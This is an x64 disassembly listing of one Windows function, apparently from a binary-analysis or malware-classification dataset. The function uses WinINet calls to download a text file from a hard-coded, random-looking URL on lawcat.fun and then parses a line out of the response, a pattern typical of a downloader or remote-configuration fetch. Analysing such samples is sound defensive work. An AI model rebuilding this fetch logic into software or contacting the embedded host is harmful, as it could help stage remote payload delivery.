Function at 0x140013c90
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xfc0]
mov eax, 0x10c0
call fcn.14008b1d0
sub rsp, rax
mov rax, qword [0x1400df040]
xor rax, rsp
mov qword [rbp + 0xfb0], rax
mov rsi, rdx
mov rbx, rcx
mov qword [rbp - 0x78], rcx
xor r15d, r15d
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], r15b
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
mov r8d, 0x39
lea rdx, str.https:__www.lawcat.fun_uhnqofewpvhnvupwefoqpvnuwhfoqe.txt
lea rcx, [rsp + 0x48]
call fcn.1400180a0
nop
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.HTTP_Agent
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r14, rax
test rax, rax
jne 0x140013e3f
lea rdx, str.InternetOpen_failed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140017690
lea rdx, [0x140017520]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], r15
xor r8d, r8d
lea rdx, [0x1400ccbae]
mov rcx, rbx
call fcn.140018720
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x140013dc2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140013dbd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001414a
call fcn.140089790
mov word [rsp + 0x48], r15w
movdqa xmm0, xmmword [0x1400d0fc0]
movdqu xmmword [rsp + 0x58], xmm0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140013e12
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013e0d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400141a8
call fcn.140089790
mov rax, rbx
mov rcx, qword [rbp + 0xfb0]
xor rcx, rsp
call fcn.140089770
mov rbx, qword [rsp + 0x1110]
add rsp, 0x10c0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 7
cmova rdx, qword [rsp + 0x48]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rdi, rax
test rax, rax
jne 0x140013ea5
lea rdx, str.InternetOpenUrlA_failed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140017690
lea rdx, [0x140017520]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140013d5f
lea r9, [rbp - 0x78]
mov r8d, 0xfff
lea rdx, [rbp - 0x50]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140013f16
mov eax, dword [rbp - 0x78]
test eax, eax
je 0x140013f16
cmp rax, 0x1000
jae 0x1400141bb
mov byte [rbp + rax - 0x50], 0
lea rax, [rbp - 0x50]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140013ee3
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x68]
call fcn.140017040
lea r9, [rbp - 0x78]
mov r8d, 0xfff
lea rdx, [rbp - 0x50]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140013ec0
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea r14, [rsi + 0x10]
mov rcx, qword [r14]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 1
jb 0x1400141b5
cmp qword [rsi + 0x18], 0xf
jbe 0x140013f50
mov rsi, qword [rsi]
mov qword [rsp + 0x30], 1
lea rax, [0x1400cccb0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r9, rsi
lea rcx, [rbp - 0x70]
call fcn.140018bc0
lea r9, [rbp - 0x70]
mov rsi, qword [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova r9, rsi
lea rcx, [rsp + 0x68]
mov r15, qword [rsp + 0x68]
mov r12, qword [rbp - 0x80]
cmp r12, 0xf
cmova rcx, r15
mov rax, qword [rbp - 0x60]
mov qword [rsp + 0x20], rax
mov rdi, qword [rsp + 0x78]
mov rdx, rdi
call fcn.1400181d0
mov r13, rax
mov rax, qword [rbp - 0x58]
cmp rax, 0xf
jbe 0x140014002
lea rdx, [rax + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140013fec
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140013fec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140089790
mov r12, qword [rbp - 0x80]
mov rdi, qword [rsp + 0x78]
mov r15, qword [rsp + 0x68]
cmp r13, 0xffffffffffffffff
je 0x1400140ee
mov rsi, qword [r14]
inc rsi
add rsi, r13
lea r14, [rsp + 0x68]
cmp r12, 0xf
cmova r14, r15
cmp rsi, rdi
jae 0x140014045
mov r8, rdi
sub r8, rsi
lea rcx, [r14 + rsi]
mov edx, 0xa
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140014045
sub rax, r14
jmp 0x14001404c
mov rax, 0xffffffffffffffff
mov r8, rdi
cmp rax, 0xffffffffffffffff
cmovne r8, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
cmp rdi, rsi
jb 0x1400141af
sub r8, rsi
sub rdi, rsi
cmp rdi, r8
cmovb r8, rdi
lea rdx, [rsp + 0x68]
cmp r12, 0xf
cmova rdx, r15
add rdx, rsi
lea rcx, [rbp - 0x70]
call fcn.140018720
xor edi, edi
movups xmm0, xmmword [rbp - 0x70]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rbp - 0x60]
movups xmmword [rbx + 0x10], xmm1
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x1400140e4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400140df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001414a
call fcn.140089790
mov word [rsp + 0x48], di
jmp 0x140013dc8
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
xor edi, edi
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
xor r8d, r8d
lea rdx, [0x1400ccbae]
mov rcx, rbx
call fcn.140018720
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x140014156
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014151
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140014151
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140089790
movdqa xmm0, xmmword [0x1400d0fc0]
movdqu xmmword [rsp + 0x58], xmm0
mov word [rsp + 0x48], di
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140013e12
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013e0d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140013e0d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140017230
int3
call fcn.1400122b0
int3
call fcn.1400898a0
int3